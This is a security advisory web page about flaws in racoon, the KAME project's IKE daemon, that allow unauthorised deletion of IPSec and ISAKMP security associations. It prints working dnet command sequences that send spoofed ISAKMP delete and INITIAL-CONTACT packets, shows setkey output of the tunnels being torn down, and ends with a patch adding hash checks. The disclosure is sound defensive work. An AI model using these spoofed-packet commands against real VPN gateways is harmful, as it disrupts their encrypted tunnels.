Home
Ask the Team
Mailing Lists
Advertising Info
Advisories
About SecuriTeam
Blogs
Brought to you by:
Suppliers of:
New vulnerability? New tool? Tell us
Subjects of Interest:
Vulnerability Management
SQL Injection
Buffer Overflows
Active Network Scanning
Fuzzing
Fuzzer Report
Network Security
Network Scanner
Pen Testing
Security Scanner
KAME Project is "a joint effort to create single solid software set, especially targeted at IPv6/IPSec". Racoon, KAME's IKE daemon, contains some flaws, that allow unauthorized deletion of IPSec (and ISAKMP) SAs.
Credit:
The information has been provided by Thomas Walpuski and itojun .
Racoon's "authentication" of delete messages
When racoon receives a delete message containing the initiator cookie of a main/aggressive/base mode, that has not yet setup a ISAKMP SA, it fulfills the request, if the message also includes a (dummy) hash payload and originates from the right IP address. See isakmp_main() in isakmp.c and purge_isakmp_spi(), purge_IPSec_spi(), isakmp_info_recv() and isakmp_info_recv_d() in isakmp_inf.c for details and amusement.
INITIAL-CONTACT with racoon
It is nearly the same with INITIAL-CONTACT notifications, but there is no need of a (dummy) hash payload and it's way more effective, because it deletes all IPSec SAs "relatived to the destination address". See isakmp_info_recv_n() and info_recv_initialcontact() in isakmp_inf.c for additional information.
Leveraging the Issues
Take a look at Multiple Payload Handling Flaws in ISAKMPd (Continued) for the assumed scenario.
Using delete messages
An IPSec tunnel between vpn-gw-a and vpn-gw-a is established:
vpn-gw-a# setkey -D
<vpn-gw-a's IP address> <vpn-gw-b's IP address>
esp mode=tunnel spi=4127562105(0xf6059979) reqid=0(0x00000000)
[..]
<vpn-gw-b's IP address> <vpn-gw-a's IP address>
esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)
[..]
The attacker launches step 1 of his attack. He pretends to initiate a phase 1 exchange (with spoofed source IP address, of course):
attacker# dnet hex \
> "\x17\x17\x17\x17" \
> "\x17\x17\x17\x17" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x00" \
> "\x01\x10\x02\x00" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x48" \
> "\x00\x00\x00\x2c" \
> "\x00\x00\x00\x01" \
> "\x00\x00\x00\x01" \
> "\x00\x00\x00\x20" \
> "\x01\x01\x00\x01" \
> "\x00\x00\x00\x18" \
> "\x00\x01\x00\x00" \
> "\x80\x01\x00\x05" \
> "\x80\x02\x00\x02" \
> "\x80\x03\x00\x01" \
> "\x80\x04\x00\x02" |
pipe> dnet udp sport 500 dport 500 |
pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
pipe pipe pipe> dnet send
If racoon finds the included proposal acceptable, it creates a state. Now the attacker carries out step 2:
attacker# dnet hex \
> "\x17\x17\x17\x17" \
> "\x17\x17\x17\x17" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x00" \
> "\x08\x10\x05\x00" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x30" \
> "\x0c\x00\x00\x04" \
> "\x00\x00\x00\x10" \
> "\x00\x00\x00\x01" \
> "\x03\x04\x00\x01" \
> "\xf6\x05\x99\x79" |
pipe> dnet udp sport 500 dport 500 |
pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
pipe pipe pipe> dnet send
It seems that racoon knows the attacker:
vpn-gw-a# setkey -D
<vpn-gw-b's IP address> <vpn-gw-a's IP address>
esp mode=tunnel spi=111058204(0x069e9d1c) reqid=0(0x00000000)
[..]
Note: You can also delete ISAKMP SAs.
Using INITIAL-CONTACT
The IPSec tunnel is up and running:
vpn-gw-a# setkey -D
<vpn-gw-a's IP address> <vpn-gw-b's IP address>
esp mode=tunnel spi=785352974(0x2ecf890e) reqid=0(0x00000000)
[..]
<vpn-gw-b's IP address> <vpn-gw-a's IP address>
esp mode=tunnel spi=183367627(0x0aedf7cb) reqid=0(0x00000000)
[..]
Again, the attacker does step 1 and injects an ISAKMP message like this:
attacker# dnet hex \
> "\x17\x17\x17\x17" \
> "\x17\x17\x17\x17" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x00" \
> "\x0b\x10\x05\x00" \
> "\x00\x00\x00\x00" \
> "\x00\x00\x00\x28" \
> "\x00\x00\x00\x0c" \
> "\x00\x00\x00\x01" \
> "\x01\x00\x60\x02" |
pipe> dnet udp sport 500 dport 500 |
pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
pipe pipe pipe> dnet send
Racoon blindly obeys the attacker's command:
vpn-gw-a# setkey -D
No SAD entries.
Patch:
The patch has been provided by IIJ SEIL team:
Index: isakmp_inf.c ===================================================================
RCS file: /cvsroot/kame/kame/kame/kame/racoon/isakmp_inf.c,v
retrieving revision 1.82
diff -u -r1.82 isakmp_inf.c
--- isakmp_inf.c 13 Nov 2003 02:30:20 -0000 1.82
+++ isakmp_inf.c 14 Jan 2004 09:14:31 -0000
@@ -136,10 +136,81 @@
isakmp = (struct isakmp *)msg->v;
gen = (struct isakmp_gen *)((caddr_t)isakmp + sizeof(struct isakmp));
- if (isakmp->np == ISAKMP_NPTYPE_HASH)
- np = gen->np;
- else
- np = isakmp->np;
+
+ if (isakmp->np != ISAKMP_NPTYPE_HASH) {
+ plog(LLV_ERROR, LOCATION, NULL,
+ "ignore information because the message has no hash payload.\n");
+ goto end;
+ }
+
+ if (iph1->status != PHASE1ST_ESTABLISHED) {
+ plog(LLV_ERROR, LOCATION, NULL,
+ "ignore information because ISAKMP-SA has not been established yet.\n");
+ goto end;
+ }
+
+ np = gen->np;
+
+ {
+ void *p;
+ vchar_t *hash, *payload;
+ struct isakmp_gen *nd;
+
+ /*
+ * XXX: gen->len includes isakmp header length
+ */
+ p = (caddr_t) gen + sizeof(struct isakmp_gen);
+ nd = (struct isakmp_gen *) ((caddr_t) gen + gen->len);
+
+ /* nd length check */
+ if (nd->len > msg->l - (sizeof(struct isakmp) + gen->len)) {
+ plog(LLV_ERROR, LOCATION, NULL,
+ "too long payload length (broken message?)\n");
+ goto end;
+ }
+
+ payload = vmalloc(nd->len);
+ if (payload == NULL) {
+ plog(LLV_ERROR, LOCATION, NULL,
+ "cannot allocate memory\n");
+ goto end;
+ }
+
+ memcpy(payload->v, (caddr_t) nd, nd->len);
+
+ /* compute HASH */
+ hash = oakley_compute_hash1(iph1, isakmp->msgid, payload);
+ if (hash == NULL) {
+ plog(LLV_ERROR, LOCATION, NULL,
+ "cannot compute hash\n");
+
+ vfree(payload);
+ goto end;
+ }
+
+ if (gen->len - sizeof(struct isakmp_gen) != hash->l) {
+ plog(LLV_ERROR, LOCATION, NULL,
+ "ignore information due to hash length mismatch\n");
+
+ vfree(hash);
+ vfree(payload);
+ goto end;
+ }
+
+ if (memcmp(p, hash->v, hash->l) != 0) {
+ plog(LLV_ERROR, LOCATION, NULL,
+ "ignore information due to hash mismatch\n");
+
+ vfree(hash);
+ vfree(payload);
+ goto end;
+ }
+
+ plog(LLV_DEBUG, LOCATION, NULL, "hash validated.\n");
+
+ vfree(hash);
+ vfree(payload);
+ }
/* make sure the packet were encrypted. */
if (!encrypted) {
Please enable JavaScript to view the comments powered by Disqus.
blog comments powered by